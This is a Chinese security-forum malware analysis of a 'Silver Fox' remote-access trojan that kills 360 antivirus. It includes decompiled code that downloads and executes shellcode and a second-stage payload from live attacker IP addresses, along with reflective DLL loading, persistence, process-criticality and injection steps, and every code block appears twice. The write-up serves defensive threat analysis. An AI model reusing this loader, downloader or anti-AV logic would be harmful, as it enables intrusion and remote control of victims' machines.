首页
社区
课程
招聘
问答 CTF 排行榜 知识库 工具下载 峰会 看雪商城 证书查询
  1. 社区
  2. 软件逆向
    3. 发新帖
[原创]【病毒分析】R3强杀360：银狐远控病毒再进化
发表于: 2025-1-17 14:14 5594

[原创]【病毒分析】R3强杀360：银狐远控病毒再进化

solar解密 活跃值
2025-1-17 14:14
5594

  银狐病毒自2022年起活跃，主要针对中国用户和企事业单位，尤其是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播，包括伪装为税务、财务相关文件的钓鱼邮件、社交平台的恶意链接，以及利用SEO（搜索引擎优化）确保其钓鱼网站在中国搜索引擎中的排名靠前。此外，银狐还结合恶意广告投放和多次电子邮件钓鱼活动，分发远程管理木马（RATs），以实现对受害者设备的远程控制和数据窃取。

  以下为近期捕获到的一起银狐病毒样本，我们对其进行了深入分析。

  程序执行流程如下，通过多次远程加载shellcode执行远控

  程序入口为start

  其中第一个函数便是用于加载shellcode的

  遍历函数数组逐个执行函数

  如下

  最后执行用于远程加载shellcode的函数

  向地址156.251.17.245:8852发送请求远程加载shellcode

  然后指针执行shellcode

  发现指针unk_3470BD7指向一个pe文件

  将其dump下来

  发现是一个dll文件

  其中这个dll提供了一个导出函数

  初步查看似乎是与关闭360相关的

  加载函数

  获取dll中导出函数的地址

  校验pe结构

  经过一系列的自解密后刷新进程的指令缓存

  然后执行

  即在内存中反射加载的dll的DllEntryPoint中的起始部分，生成了一个伪随机数

  Dllmain

  判断自身是否位于C:\\Users\\username\\AppData\\Roaming\\目录下，如果不在则将自身移动到C:\\Users\\username\\AppData\\Roaming\\目录下，下并调用ShellExecuteA打开，然后退出程序

  然后执行反射加载的dll中的导出函数VFPower

  下载了一个名为project的exe

  执行它，然后再删除文件

  检测进程函数

  判断360tray.exe是否存在

  提权并将自己设置为系统关键进程。如果进程被关闭，则会造成蓝屏。

  如果进程被关闭，则会造成蓝屏。

  利用rpc创建计划任务实现维权。具体手法可以参考文章b3bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1k6i4k6W2L8r3!0H3k6i4u0Q4x3X3g2S2L8r3W2&6N6h3&6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3x3e0x3@1x3U0R3&6y4b7`.`.

  内置了一段计划任务相关的xml文档

  创建了如下计划任务

  又从一个新的地址156.251.17.245:18852远程加载shellcode

  动态加载api

  生成配置信息

  解析出银狐远控的配置信息

  创建线程执行远控。

  后面就是与服务端执行通信进行远控了，这里就不详细分析了

  基于2.2.5所提到远程下载的样本project.exe进行分析

  拖入ida中，发现它并未去除pdb

  RtlAdjustPrivilege(20, 1, 0, &WasEnabled);

  提升到SE_DEBUG_PRIVILEGE特权

  遍历进程查找svchost.exe

  复制句柄

  分配空间并写入进程

  注入的shellcode大致如下，简单一个遍历进程并关闭360

  创建一个线程池等待对象，并将其写入进程

  创建事件，并将事件与等待对象关联，事件设置之后就会执行shellcode

  动态加载函数然后强关360

  该病毒通过多层次的加载机制和复杂的内存操作，实现了远程控制、反检测和强制关闭安全软件等功能。其执行流程包括远程加载 shellcode、反射加载 DLL、自解密、提权操作，以及利用动态 API 调用实现代码注入和系统操作。同时，病毒设置自身为系统关键进程，以蓝屏保护机制防止被终止，并通过与远程服务器持续通信，执行数据窃取和控制命令。整体攻击流程展现出极高的隐蔽性和破坏性。

文件名 明细查看_Setup.exe
大小 2.67 MB
操作系统 Windows(Vista)[AMD64, 64位, GUI]
模式 32 位
类型 EXEC
字节序 LE
MD5 1a416558435d62dcca79346e6b839370
SHA1 039e938f5af45edc168c6aa6ebe450f2bc7eddd7
SHA256 035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea
int shellcode_execute_1()
{
  int result; // eax
  int v1; // edi
  int v2; // ebx
  void (*v3)(void); // esi
  unsigned int v4[6]; // [esp-Ch] [ebp-1Ch] BYREF
  int v5; // [esp+Ch] [ebp-4h]
  int savedregs; // [esp+10h] [ebp+0h] BYREF
 
  result = dword_6827D0;
  if ( dword_6827D0 )
  {
    v1 = *(_DWORD *)dword_6827D0;
    v2 = 0;
    v5 = *(_DWORD *)(dword_6827D0 + 4);
    v4[2] = (unsigned int)&savedregs;
    v4[1] = (unsigned int)&loc_40508D;
    v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)v4);
    if ( v1 > 0 )
    {
      do
      {
        v3 = *(void (**)(void))(v5 + 8 * v2++);
        dword_6827D4 = v2;
        if ( v3 )
          v3();
      }
      while ( v1 > v2 );
    }
    result = 0;
    __writefsdword(0, v4[0]);
  }
  return result;
}
int shellcode_execute_1()
{
  int result; // eax
  int v1; // edi
  int v2; // ebx
  void (*v3)(void); // esi
  unsigned int v4[6]; // [esp-Ch] [ebp-1Ch] BYREF
  int v5; // [esp+Ch] [ebp-4h]
  int savedregs; // [esp+10h] [ebp+0h] BYREF
 
  result = dword_6827D0;
  if ( dword_6827D0 )
  {
    v1 = *(_DWORD *)dword_6827D0;
    v2 = 0;
    v5 = *(_DWORD *)(dword_6827D0 + 4);
    v4[2] = (unsigned int)&savedregs;
    v4[1] = (unsigned int)&loc_40508D;
    v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)v4);
    if ( v1 > 0 )
    {
      do
      {
        v3 = *(void (**)(void))(v5 + 8 * v2++);
        dword_6827D4 = v2;
        if ( v3 )
          v3();
      }
      while ( v1 > v2 );
    }
    result = 0;
    __writefsdword(0, v4[0]);
  }
  return result;
}
int sub_65D174()
{
  int v1; // [esp+0h] [ebp-204h] BYREF
  _DWORD v2[4]; // [esp+190h] [ebp-74h] BYREF
  int (__stdcall *VirtualAlloc)(_DWORD, int, int, int); // [esp+1A0h] [ebp-64h]
  void (__stdcall *WSAStartup)(int, int *); // [esp+1ACh] [ebp-58h]
  int (__stdcall *socket)(int, int, _DWORD); // [esp+1B0h] [ebp-54h]
  int (__stdcall *htons)(int); // [esp+1B4h] [ebp-50h]
  void (__stdcall *connect)(int, _WORD *, int); // [esp+1BCh] [ebp-48h]
  int (__stdcall *recv)(int, char *, int, _DWORD); // [esp+1C8h] [ebp-3Ch]
  int v9; // [esp+1CCh] [ebp-38h]
  int v10; // [esp+1D0h] [ebp-34h]
  _WORD v11[2]; // [esp+1D4h] [ebp-30h] BYREF
  int ip_addr; // [esp+1D8h] [ebp-2Ch]
  int (*v13)(void); // [esp+1E4h] [ebp-20h]
  int v14; // [esp+1E8h] [ebp-1Ch]
  char v15[8]; // [esp+1ECh] [ebp-18h] BYREF
  char v16[8]; // [esp+1F4h] [ebp-10h] BYREF
  int v17; // [esp+1FCh] [ebp-8h]
  int v18; // [esp+200h] [ebp-4h]
 
  sub_65D284(v2);
  v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64);
  v17 = 0;
  v10 = 4096;
  v9 = 118784;
  WSAStartup(514, &v1);
  v14 = socket(2, 1, 0);
  v11[0] = 2;
  v11[1] = htons(8852);
  ip_addr = 0xF511FB9C;
  connect(v14, v11, 16);
  while ( 1 )
  {
    v18 = recv(v14, (char *)v13 + v17, 4096, 0);
    if ( v18 <= 0 )
      break;
    v17 += v18;
  }
  strcpy(v16, "hello");
  strcpy(v15, "hel1o");
  return v13();
}
int sub_65D174()
{
  int v1; // [esp+0h] [ebp-204h] BYREF
  _DWORD v2[4]; // [esp+190h] [ebp-74h] BYREF
  int (__stdcall *VirtualAlloc)(_DWORD, int, int, int); // [esp+1A0h] [ebp-64h]
  void (__stdcall *WSAStartup)(int, int *); // [esp+1ACh] [ebp-58h]
  int (__stdcall *socket)(int, int, _DWORD); // [esp+1B0h] [ebp-54h]
  int (__stdcall *htons)(int); // [esp+1B4h] [ebp-50h]
  void (__stdcall *connect)(int, _WORD *, int); // [esp+1BCh] [ebp-48h]
  int (__stdcall *recv)(int, char *, int, _DWORD); // [esp+1C8h] [ebp-3Ch]
  int v9; // [esp+1CCh] [ebp-38h]
  int v10; // [esp+1D0h] [ebp-34h]
  _WORD v11[2]; // [esp+1D4h] [ebp-30h] BYREF
  int ip_addr; // [esp+1D8h] [ebp-2Ch]
  int (*v13)(void); // [esp+1E4h] [ebp-20h]
  int v14; // [esp+1E8h] [ebp-1Ch]
  char v15[8]; // [esp+1ECh] [ebp-18h] BYREF
  char v16[8]; // [esp+1F4h] [ebp-10h] BYREF
  int v17; // [esp+1FCh] [ebp-8h]
  int v18; // [esp+200h] [ebp-4h]
 
  sub_65D284(v2);
  v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64);
  v17 = 0;
  v10 = 4096;
  v9 = 118784;
  WSAStartup(514, &v1);
  v14 = socket(2, 1, 0);
  v11[0] = 2;
  v11[1] = htons(8852);
  ip_addr = 0xF511FB9C;
  connect(v14, v11, 16);
  while ( 1 )
  {
    v18 = recv(v14, (char *)v13 + v17, 4096, 0);
    if ( v18 <= 0 )
      break;
    v17 += v18;
  }
  strcpy(v16, "hello");
  strcpy(v15, "hel1o");
  return v13();
}
kernel32_dll_str[0] = 'k';
kernel32_dll_str[1] = 'e';
kernel32_dll_str[4] = 'e';
kernel32_dll_str[6] = '3';
kernel32_dll_str[7] = '2';
kernel32_dll_str[8] = '.';
v112 = 0;
VirtualAlloc = 0;
FlushInstructionCache = 0;
GetNativeSystemInfo = 0;
VirtualProtect = 0;
Sleep_1 = 0;
v118 = 0;
kernel32_dll_str[2] = 'r';
kernel32_dll_str[3] = 'n';
kernel32_dll_str[5] = 'l';
kernel32_dll_str[9] = 'd';
kernel32_dll_str[10] = 'l';
kernel32_dll_str[11] = 'l';
qmemcpy(Sleep, "Sleep", 5);
qmemcpy(v106, "VirtualAllocLoadLibraryAVirtualProtect", 38);
qmemcpy(v109, "FlushInstructionCache", 21);
qmemcpy(v107, "GetNativeSystemInfo", 19);
qmemcpy(v108, "RtlAddFunctionTable", 19);
LdrLoadDll = (void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrGetProcedureAddress(v86, v88, v90, v92);
ProcedureAddress = (char *)LdrGetProcedureAddress(v87, v89, v91, v93);
v120 = kernel32_dll_str;
v119[1] = 24;
v119[0] = 24;
v103 = ProcedureAddress;
LdrLoadDll(0, 0, v119, &v97);
v94 = 0xC000C;
v95 = v106;
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))ProcedureAddress)(
  v97,
  &v94,
  0,
  &VirtualAlloc);
v94 = 917518;
v95 = &v106[6];
((void (__stdcall *)(int, int *, _DWORD, _DWORD))ProcedureAddress)(v97, &v94, 0, &VirtualProtect);
v94 = 1376277;
v95 = v109;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))ProcedureAddress)(
  v97,
  &v94,
  0,
  &FlushInstructionCache);
v94 = 1245203;
v95 = v107;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))ProcedureAddress)(
  v97,
  &v94,
  0,
  &GetNativeSystemInfo);
v94 = 0x50005;
v95 = Sleep;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))ProcedureAddress)(v97, &v94, 0, &Sleep_1);
v94 = 1245203;
v95 = v108;
((void (__stdcall *)(int, int *, _DWORD, int *))ProcedureAddress)(v97, &v94, 0, &v118);
v94 = 0xC000C;
v95 = &v106[3];
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))ProcedureAddress)(v97, &v94, 0, &v112);
if ( !VirtualAlloc )
  return 0;
if ( !VirtualProtect )
  return 0;
if ( !Sleep_1 )
  return 0;
if ( !FlushInstructionCache )
  return 0;
if ( !GetNativeSystemInfo )
  return 0;
kernel32_dll_str[0] = 'k';
kernel32_dll_str[1] = 'e';
kernel32_dll_str[4] = 'e';
kernel32_dll_str[6] = '3';
kernel32_dll_str[7] = '2';
kernel32_dll_str[8] = '.';
v112 = 0;
VirtualAlloc = 0;
FlushInstructionCache = 0;
GetNativeSystemInfo = 0;
VirtualProtect = 0;
Sleep_1 = 0;
v118 = 0;
kernel32_dll_str[2] = 'r';
kernel32_dll_str[3] = 'n';
kernel32_dll_str[5] = 'l';
kernel32_dll_str[9] = 'd';
kernel32_dll_str[10] = 'l';
kernel32_dll_str[11] = 'l';
qmemcpy(Sleep, "Sleep", 5);
qmemcpy(v106, "VirtualAllocLoadLibraryAVirtualProtect", 38);
qmemcpy(v109, "FlushInstructionCache", 21);
qmemcpy(v107, "GetNativeSystemInfo", 19);
qmemcpy(v108, "RtlAddFunctionTable", 19);
LdrLoadDll = (void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrGetProcedureAddress(v86, v88, v90, v92);
ProcedureAddress = (char *)LdrGetProcedureAddress(v87, v89, v91, v93);
v120 = kernel32_dll_str;
v119[1] = 24;
v119[0] = 24;
v103 = ProcedureAddress;
LdrLoadDll(0, 0, v119, &v97);
v94 = 0xC000C;
v95 = v106;
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))ProcedureAddress)(
  v97,
  &v94,
  0,
  &VirtualAlloc);
v94 = 917518;
v95 = &v106[6];
((void (__stdcall *)(int, int *, _DWORD, _DWORD))ProcedureAddress)(v97, &v94, 0, &VirtualProtect);
v94 = 1376277;
v95 = v109;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))ProcedureAddress)(
  v97,
  &v94,
  0,
  &FlushInstructionCache);
v94 = 1245203;
v95 = v107;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))ProcedureAddress)(
  v97,
  &v94,
  0,
  &GetNativeSystemInfo);
v94 = 0x50005;
v95 = Sleep;
((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))ProcedureAddress)(v97, &v94, 0, &Sleep_1);
v94 = 1245203;
v95 = v108;
((void (__stdcall *)(int, int *, _DWORD, int *))ProcedureAddress)(v97, &v94, 0, &v118);
v94 = 0xC000C;
v95 = &v106[3];
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))ProcedureAddress)(v97, &v94, 0, &v112);
if ( !VirtualAlloc )
  return 0;
if ( !VirtualProtect )
  return 0;
if ( !Sleep_1 )
  return 0;
if ( !FlushInstructionCache )
  return 0;
if ( !GetNativeSystemInfo )
  return 0;
int __stdcall LdrGetProcedureAddressForCaller(int a1, int a2, int a3, int a4)
{
  void *retaddr; // [esp+4h] [ebp+4h]
 
  return ((int (__stdcall *)(int, int, int, int, _DWORD, void *))ntdll_LdrGetProcedureAddressForCaller)(
           a1,
           a2,
           a3,
           a4,
           0,
           retaddr);
}
int __stdcall LdrGetProcedureAddressForCaller(int a1, int a2, int a3, int a4)
{
  void *retaddr; // [esp+4h] [ebp+4h]
 
  return ((int (__stdcall *)(int, int, int, int, _DWORD, void *))ntdll_LdrGetProcedureAddressForCaller)(
           a1,
           a2,
           a3,
           a4,
           0,
           retaddr);
}
str_PE = &a1[*((_DWORD *)a1 + 15)];
if ( *(_DWORD *)str_PE != 'EP' )
  return 0;
if ( *((_WORD *)str_PE + 2) != 332 )
  return 0;
v10 = *((_DWORD *)str_PE + 14);
if ( (v10 & 1) != 0 )
  return 0;
v11 = 0;
v12 = *((unsigned __int16 *)str_PE + 3);
if ( *((_WORD *)str_PE + 3) )
{
  v13 = &str_PE[*((unsigned __int16 *)str_PE + 10) + 36];
  do
  {
    if ( *((_DWORD *)v13 + 1) )
      v10 = *((_DWORD *)v13 + 1);
    v14 = *(_DWORD *)v13 + v10;
    if ( v14 <= v11 )
      v14 = v11;
    v13 += 40;
    v11 = v14;
    v10 = *((_DWORD *)str_PE + 14);
    --v12;
  }
  while ( v12 );
  v8 = a1;
}
str_PE = &a1[*((_DWORD *)a1 + 15)];
if ( *(_DWORD *)str_PE != 'EP' )
  return 0;
if ( *((_WORD *)str_PE + 2) != 332 )
  return 0;
v10 = *((_DWORD *)str_PE + 14);
if ( (v10 & 1) != 0 )
  return 0;
v11 = 0;
v12 = *((unsigned __int16 *)str_PE + 3);
if ( *((_WORD *)str_PE + 3) )
{
  v13 = &str_PE[*((unsigned __int16 *)str_PE + 10) + 36];
  do
  {
    if ( *((_DWORD *)v13 + 1) )
      v10 = *((_DWORD *)v13 + 1);
    v14 = *(_DWORD *)v13 + v10;
    if ( v14 <= v11 )
      v14 = v11;
    v13 += 40;
    v11 = v14;
    v10 = *((_DWORD *)str_PE + 14);
    --v12;
  }
  while ( v12 );
  v8 = a1;
}
int __cdecl dllmain_dispatch(HINSTANCE hinstDLL, DWORD fdwReason, void *const lpvReserved)
{
  void *v4; // ebx
  int v5; // esi
  int v6; // eax
 
  if ( !fdwReason && dword_1000D168 <= 0 )
    return 0;
  if ( fdwReason != 1 && fdwReason != 2 )
  {
    v4 = lpvReserved;
LABEL_9:
    v6 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain)(hinstDLL, fdwReason, v4);
    v5 = v6;
    if ( fdwReason == 1 && !v6 )
    {
      ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain)(hinstDLL, 0, v4);
      ((void (__cdecl *)(bool))unk_100077D9)(v4 != 0);
      ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain_raw)(hinstDLL, 0, v4);
    }
    if ( !fdwReason || fdwReason == 3 )
    {
      v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_crt_dispatch)(hinstDLL, fdwReason, v4);
      if ( v5 )
        return ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_raw)(hinstDLL, fdwReason, v4);
    }
    return v5;
  }
  v4 = lpvReserved;
  v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_raw)(hinstDLL, fdwReason, lpvReserved);
  if ( v5 )
  {
    v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_crt_dispatch)(hinstDLL, fdwReason, lpvReserved);
    if ( v5 )
      goto LABEL_9;
  }
  return v5;
}
int __cdecl dllmain_dispatch(HINSTANCE hinstDLL, DWORD fdwReason, void *const lpvReserved)
{
  void *v4; // ebx
  int v5; // esi
  int v6; // eax
 
  if ( !fdwReason && dword_1000D168 <= 0 )
    return 0;
  if ( fdwReason != 1 && fdwReason != 2 )
  {
    v4 = lpvReserved;
LABEL_9:
    v6 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain)(hinstDLL, fdwReason, v4);
    v5 = v6;
    if ( fdwReason == 1 && !v6 )
    {
      ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain)(hinstDLL, 0, v4);
      ((void (__cdecl *)(bool))unk_100077D9)(v4 != 0);
      ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain_raw)(hinstDLL, 0, v4);
    }
    if ( !fdwReason || fdwReason == 3 )
    {
      v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_crt_dispatch)(hinstDLL, fdwReason, v4);
      if ( v5 )
        return ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_raw)(hinstDLL, fdwReason, v4);
    }
    return v5;
  }
  v4 = lpvReserved;
  v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_raw)(hinstDLL, fdwReason, lpvReserved);
  if ( v5 )
  {
    v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_crt_dispatch)(hinstDLL, fdwReason, lpvReserved);
    if ( v5 )
      goto LABEL_9;
  }
  return v5;
}
int __usercall sub_100020A0@<eax>(int a1@<esi>)
{
  bool v1; // cf
  int *v3; // eax
  _DWORD v4[6]; // [esp+4h] [ebp-19Ch] BYREF
  _DWORD v5[6]; // [esp+1Ch] [ebp-184h] BYREF
  int *v6; // [esp+34h] [ebp-16Ch]
  int v7; // [esp+38h] [ebp-168h]
  int *v8; // [esp+3Ch] [ebp-164h]
  const char *v9; // [esp+40h] [ebp-160h]
  const char *v10; // [esp+44h] [ebp-15Ch]
  BOOL v11; // [esp+48h] [ebp-158h]
  int v12; // [esp+4Ch] [ebp-154h]
  int *v13; // [esp+50h] [ebp-150h]
  unsigned __int8 *v14; // [esp+54h] [ebp-14Ch]
  bool v15; // [esp+59h] [ebp-147h]
  unsigned __int8 v16; // [esp+5Ah] [ebp-146h]
  unsigned __int8 v17; // [esp+5Bh] [ebp-145h]
  int v18[6]; // [esp+5Ch] [ebp-144h] BYREF
  int v19[6]; // [esp+74h] [ebp-12Ch] BYREF
  _BYTE v20[260]; // [esp+8Ch] [ebp-114h] BYREF
  int v21; // [esp+19Ch] [ebp-4h]
 
  get_path(v18, 26);
  v21 = 0;
  sub_10001920((int)v19);
  LOBYTE(v21) = 1;
  v10 = (const char *)sub_100029F0(v19);
  v9 = (const char *)sub_100029F0(v18);
  sprintf((int)v20, 260, (int)"%s\\%s", v9, v10);
  v8 = sub_100018C0(v5);
  v13 = sub_100029F0(v8);
  v14 = v20;
  while ( 1 )
  {
    v17 = *v14;
    v1 = v17 < *(_BYTE *)v13;
    if ( v17 != *(_BYTE *)v13 )
      break;
    if ( !v17 )
      goto LABEL_6;
    v16 = v14[1];
    v1 = v16 < *((_BYTE *)v13 + 1);
    if ( v16 != *((_BYTE *)v13 + 1) )
      break;
    v14 += 2;
    v13 = (int *)((char *)v13 + 2);
    if ( !v16 )
    {
LABEL_6:
      v12 = 0;
      goto LABEL_8;
    }
  }
  v12 = v1 ? -1 : 1;
LABEL_8:
  v7 = v12;
  v11 = v12 == 0;
  v15 = v12 == 0;
  sub_10002A40(v5);
  if ( v15 )
  {
    LOBYTE(v21) = 0;
    sub_10002A40(v19);
    v21 = -1;
    return sub_10002A40(v18);
  }
  else
  {
    v6 = sub_100018C0(v4);
    v3 = sub_100029F0(v6);
    kernel32_CopyFileA(a1, (int)v3, (int)v20, 0);
    sub_10002A40(v4);
    ((void (__stdcall *)(_DWORD, const char *, _BYTE *, _DWORD, _DWORD, int))shell32_ShellExecuteA)(
      0,
      "open",
      v20,
      0,
      0,
      1);
    ((void (__stdcall *)(_DWORD))ucrtbase_exit)(0);
    LOBYTE(v21) = 0;
    sub_10002A40(v19);
    v21 = -1;
    return sub_10002A40(v18);
  }
}
int __usercall sub_100020A0@<eax>(int a1@<esi>)
{
  bool v1; // cf
  int *v3; // eax
  _DWORD v4[6]; // [esp+4h] [ebp-19Ch] BYREF
  _DWORD v5[6]; // [esp+1Ch] [ebp-184h] BYREF
  int *v6; // [esp+34h] [ebp-16Ch]
  int v7; // [esp+38h] [ebp-168h]
  int *v8; // [esp+3Ch] [ebp-164h]
  const char *v9; // [esp+40h] [ebp-160h]
  const char *v10; // [esp+44h] [ebp-15Ch]
  BOOL v11; // [esp+48h] [ebp-158h]
  int v12; // [esp+4Ch] [ebp-154h]
  int *v13; // [esp+50h] [ebp-150h]
  unsigned __int8 *v14; // [esp+54h] [ebp-14Ch]
  bool v15; // [esp+59h] [ebp-147h]
  unsigned __int8 v16; // [esp+5Ah] [ebp-146h]
  unsigned __int8 v17; // [esp+5Bh] [ebp-145h]
  int v18[6]; // [esp+5Ch] [ebp-144h] BYREF
  int v19[6]; // [esp+74h] [ebp-12Ch] BYREF
  _BYTE v20[260]; // [esp+8Ch] [ebp-114h] BYREF
  int v21; // [esp+19Ch] [ebp-4h]
 
  get_path(v18, 26);
  v21 = 0;
  sub_10001920((int)v19);
  LOBYTE(v21) = 1;
  v10 = (const char *)sub_100029F0(v19);
  v9 = (const char *)sub_100029F0(v18);
  sprintf((int)v20, 260, (int)"%s\\%s", v9, v10);
  v8 = sub_100018C0(v5);
  v13 = sub_100029F0(v8);
  v14 = v20;
  while ( 1 )
  {
    v17 = *v14;
    v1 = v17 < *(_BYTE *)v13;
    if ( v17 != *(_BYTE *)v13 )
      break;
    if ( !v17 )
      goto LABEL_6;
    v16 = v14[1];
    v1 = v16 < *((_BYTE *)v13 + 1);
    if ( v16 != *((_BYTE *)v13 + 1) )
      break;
    v14 += 2;
    v13 = (int *)((char *)v13 + 2);
    if ( !v16 )
    {
LABEL_6:
      v12 = 0;
      goto LABEL_8;
    }
  }
  v12 = v1 ? -1 : 1;
LABEL_8:
  v7 = v12;
  v11 = v12 == 0;
  v15 = v12 == 0;
  sub_10002A40(v5);
  if ( v15 )
  {
    LOBYTE(v21) = 0;
    sub_10002A40(v19);
    v21 = -1;
    return sub_10002A40(v18);
  }
  else
  {
    v6 = sub_100018C0(v4);
    v3 = sub_100029F0(v6);
    kernel32_CopyFileA(a1, (int)v3, (int)v20, 0);
    sub_10002A40(v4);
    ((void (__stdcall *)(_DWORD, const char *, _BYTE *, _DWORD, _DWORD, int))shell32_ShellExecuteA)(
      0,
      "open",
      v20,
      0,
      0,
      1);
    ((void (__stdcall *)(_DWORD))ucrtbase_exit)(0);
    LOBYTE(v21) = 0;
    sub_10002A40(v19);
    v21 = -1;
    return sub_10002A40(v18);
  }
}
ppResult = 0;
  i = 0;
  WSAStartup(0x202u, &WSAData);
  pHints.ai_flags = 0;
  memset(&pHints.ai_addrlen, 0, 16);
  pHints.ai_family = 2;
  pHints.ai_socktype = 1;
  pHints.ai_protocol = 6;
  v7 = getaddrinfo("154.37.214.153", "18853", &pHints, &ppResult);
  if ( v7 )
  {
    WSACleanup();
    exit(0);
  }
  for ( i = ppResult; i; i = i->ai_next )
  {
    s = socket(i->ai_family, i->ai_socktype, i->ai_protocol);
    if ( s == -1 )
    {
      WSACleanup();
      exit(0);
    }
    v7 = connect(s, i->ai_addr, i->ai_addrlen);
    if ( v7 != -1 )
      break;
    closesocket(s);
    s = -1;
  }
  freeaddrinfo(ppResult);
  if ( s == -1 )
  {
    WSACleanup();
    exit(0);
  }
  v8 = 0;
  ElementCount = 0;
  Size = 4096;
  Block = malloc(0x1000u);
  while ( 1 )
  {
    v8 = recv(s, (char *)Block + ElementCount, Size - ElementCount, 0);
    if ( v8 <= 0 )
      break;
    ElementCount += v8;
    if ( ElementCount == Size )
    {
      Size *= 2;
      Block = realloc(Block, Size);
    }
    if ( v8 <= 0 )
      goto LABEL_19;
  }
  if ( v8 )
  {
    closesocket(s);
    WSACleanup();
    free(Block);
    exit(0);
  }
LABEL_19:
  closesocket(s);
  WSACleanup();
  v5 = sub_10001800((int)v4, 26);
  v4[7] = v5;
  v18 = 0;
  sub_100035B0((int)v16, v5, "\\project.exe");
  v18 = -1;
  sub_10002650(v4);
  v0 = (const char *)sub_10002600(v16);
  Stream = fopen(v0, "wb");
  if ( !Stream )
  {
    free(Block);
    exit(0);
  }
  v4[6] = fwrite(Block, 1u, ElementCount, Stream);
  fclose(Stream);
  free(Block);
  v1 = (const CHAR *)sub_10002600(v16);
ppResult = 0;
  i = 0;
  WSAStartup(0x202u, &WSAData);
  pHints.ai_flags = 0;
  memset(&pHints.ai_addrlen, 0, 16);
  pHints.ai_family = 2;
  pHints.ai_socktype = 1;
  pHints.ai_protocol = 6;
  v7 = getaddrinfo("154.37.214.153", "18853", &pHints, &ppResult);
  if ( v7 )
  {
    WSACleanup();
    exit(0);
  }
  for ( i = ppResult; i; i = i->ai_next )
  {
    s = socket(i->ai_family, i->ai_socktype, i->ai_protocol);
    if ( s == -1 )
    {
      WSACleanup();
      exit(0);
    }
    v7 = connect(s, i->ai_addr, i->ai_addrlen);
    if ( v7 != -1 )
      break;
    closesocket(s);
    s = -1;
  }
  freeaddrinfo(ppResult);
  if ( s == -1 )
  {
    WSACleanup();
    exit(0);
  }
  v8 = 0;
  ElementCount = 0;
  Size = 4096;
  Block = malloc(0x1000u);
  while ( 1 )
  {
    v8 = recv(s, (char *)Block + ElementCount, Size - ElementCount, 0);
    if ( v8 <= 0 )
      break;
    ElementCount += v8;
    if ( ElementCount == Size )
    {
      Size *= 2;
      Block = realloc(Block, Size);
    }
    if ( v8 <= 0 )
      goto LABEL_19;
  }
  if ( v8 )
  {
    closesocket(s);
    WSACleanup();
    free(Block);
    exit(0);
  }
LABEL_19:
  closesocket(s);
  WSACleanup();
  v5 = sub_10001800((int)v4, 26);
  v4[7] = v5;
  v18 = 0;
  sub_100035B0((int)v16, v5, "\\project.exe");
  v18 = -1;
  sub_10002650(v4);
  v0 = (const char *)sub_10002600(v16);
  Stream = fopen(v0, "wb");
  if ( !Stream )
  {
    free(Block);
    exit(0);
  }
  v4[6] = fwrite(Block, 1u, ElementCount, Stream);
  fclose(Stream);
  free(Block);
  v1 = (const CHAR *)sub_10002600(v16);
WinExec(v1, 0);
  while ( 1 )
  {
    v2 = (const CHAR *)sub_10002600(v16);
    if ( DeleteFileA(v2) )
      break;
    Sleep(0x3E8u);
  }
  return sub_10002650(v16);
WinExec(v1, 0);
  while ( 1 )
  {
    v2 = (const CHAR *)sub_10002600(v16);
    if ( DeleteFileA(v2) )
      break;
    Sleep(0x3E8u);
  }
  return sub_10002650(v16);
char __cdecl CheckProcessExists(int a1)
{
  int v2; // eax
  int v3; // [esp+0h] [ebp-238h]
  int v4; // [esp+4h] [ebp-234h]
  _DWORD v5[9]; // [esp+8h] [ebp-230h] BYREF
  _BYTE v6[520]; // [esp+2Ch] [ebp-20Ch] BYREF
 
  v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0);
  if ( v4 == -1 )
    return 0;
  v5[0] = 556;
  if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32FirstW)(v4, v5) )
  {
    do
    {
      v2 = ((int (__thiscall *)(int))unk_10002890)(a1);
      if ( !((int (__cdecl *)(_BYTE *, int))ucrtbase__wcsicmp)(v6, v2) )
      {
        ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
        return 1;
      }
    }
    while ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32NextW)(v4, v5) );
